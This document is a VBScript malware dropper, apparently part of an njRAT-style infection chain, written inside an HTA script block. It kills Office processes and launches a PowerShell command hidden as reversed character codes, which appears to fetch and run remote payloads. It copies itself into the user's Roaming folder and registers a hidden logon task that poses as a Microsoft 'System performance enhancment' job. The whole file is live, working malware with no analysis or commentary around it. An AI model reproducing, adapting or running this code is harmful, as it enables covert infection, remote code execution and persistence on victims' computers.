MacroVBS NJ

<script language="VBScript">
Set X7W832DSA = CreateObject("WScript.Shell")
Dim ASSd712ji8asd
ASSd712ji8asd = "cmd.exe /c cd ""%ProgramFiles%\"" & taskkill /f /im winword.exe & taskkill /f /im excel.exe & exit"
X7W832DSA.Run ASSd712ji8asd, vbHide

f="XEI|)oM$(gnirtSteG.IICSA::]gnidocnE.txeT.metsyS[;)14,201,63,44,93,101,021,101,64,801,111,08,511,79,76,93,04,101,021,101,85,85,39,211,711,611,501,701,99,79,27,64,701,19,95,88,96,37,421,14,93,021,84,93,44,93,63,63,93,04,101,99,79,801,211,101,411,64,14,93,301,211,601,64,94,84,45,45,55,15,45,05,45,35,94,74,511,001,79,111,801,211,711,74,611,101,011,64,99,75,901,64,911,911,911,74,74,85,211,611,611,401,93,44,001,111,401,611,101,77,85,85,39,101,211,121,48,801,801,79,76,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,44,93,301,011,501,411,611,38,001,79,111,801,011,911,111,86,93,44,14,611,011,101,501,801,76,89,101,78,64,611,101,87,23,611,99,101,601,89,97,54,911,101,87,04,04,101,901,79,011,121,66,801,801,79,76,85,85,39,011,111,501,611,99,79,411,101,611,011,37,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,16,201,63,39,39,19,101,611,121,66,19,95,88,96,37,421,14,93,301,211,601,64,94,25,05,45,05,45,05,05,45,35,94,74,511,001,79,111,801,211,711,74,611,101,011,64,99,75,901,64,911,911,911,74,74,85,211,611,611,401,93,44,001,111,401,611,101,77,85,85,39,101,211,121,48,801,801,79,76,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,44,93,301,011,501,411,611,38,001,79,111,801,011,911,111,86,93,44,14,611,011,101,501,801,76,89,101,78,64,611,101,87,23,611,99,101,601,89,97,54,911,101,87,04,04,101,901,79,011,121,66,801,801,79,76,85,85,39,011,111,501,611,99,79,411,101,611,011,37,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,16,601,201,63,95,14,93,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,93,04,101,901,79,87,801,79,501,611,411,79,08,401,611,501,78,001,79,111,67,85,85,39,121,801,89,901,101,511,511,56,64,011,111,501,611,99,101,801,201,101,28,64,901,101,611,511,121,38,19,23,39,001,501,111,811,19(@=oM$"
exec(replace("Pow%rsh%ll","%","e")+space(1)+StrReverse(f))
N="InternetExplorerIT"
set fso0 = CreateObject("Scripting.FileSystemObject")
CurrentDirectory = fso0.GetParentFolderName(WScript.ScriptFullName)
sname= wsh.scriptname
startupfolder="C:\Users\"+CreateObject("WScript.Network").UserName+"\AppData\Roaming"
F=startupfolder+ "\" + sname

task F,N
if CurrentDirectory = startupfolder Then

WScript.Quit()
else

mnb()
End if

sub mnb()


If (fso0.FileExists(CurrentDirectory+ "\"+ sname)) Then
sSourceFile   = CurrentDirectory+ "\"+ sname

sCmd = "cmd /c copy """ & sSourceFile & """ """ & startupfolder & """ /Y"
exec(sCmd)

  WScript.Quit()
Else
  WScript.Quit()
End If

End sub

sub task(PATH,TSname)

dim strUser
strUser = CreateObject("WScript.Network").UserName
Dim service
Set service = CreateObject( "Schedule.Service" )
call service.Connect()
Dim rootFolder
Set rootFolder = service.GetFolder("\")
Dim taskDefinition
Set taskDefinition = service.NewTask(0)
' taskDefinition.principal.LogonType = 3
Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "System performance enhancment"
regInfo.Author = "Microsoft"
Dim settings
Set settings = taskDefinition.Settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = True
settings.DisallowStartIfOnBatteries = False

const TriggerTypeLogon = 9
Dim triggers
Set triggers = taskDefinition.Triggers
Dim trigger
Set trigger = triggers.Create(TriggerTypeLogon)
Dim startTime, endTime
startTime = "2010-05-02T10:49:02"
endTime = "2060-05-02T10:52:02"
trigger.Id = "LogonTriggerId"
trigger.UserId = strUser
trigger.StartBoundary = startTime
trigger.EndBoundary = endTime
trigger.Enabled = True
const ActionTypeExecutable = 0
Dim Action
Set Action = taskDefinition.Actions.Create( ActionTypeExecutable )
Action.Path = PATH
const createOrUpdateTask = 6
call rootFolder.RegisterTaskDefinition( _
    TSname, taskDefinition, createOrUpdateTask, _
    , , 3)

End sub
sub exec(Atc)
strCommand = Atc
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 0
Set objProcess = objWMIService.Get("Win32_Process")
intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
End sub


self.close
</script>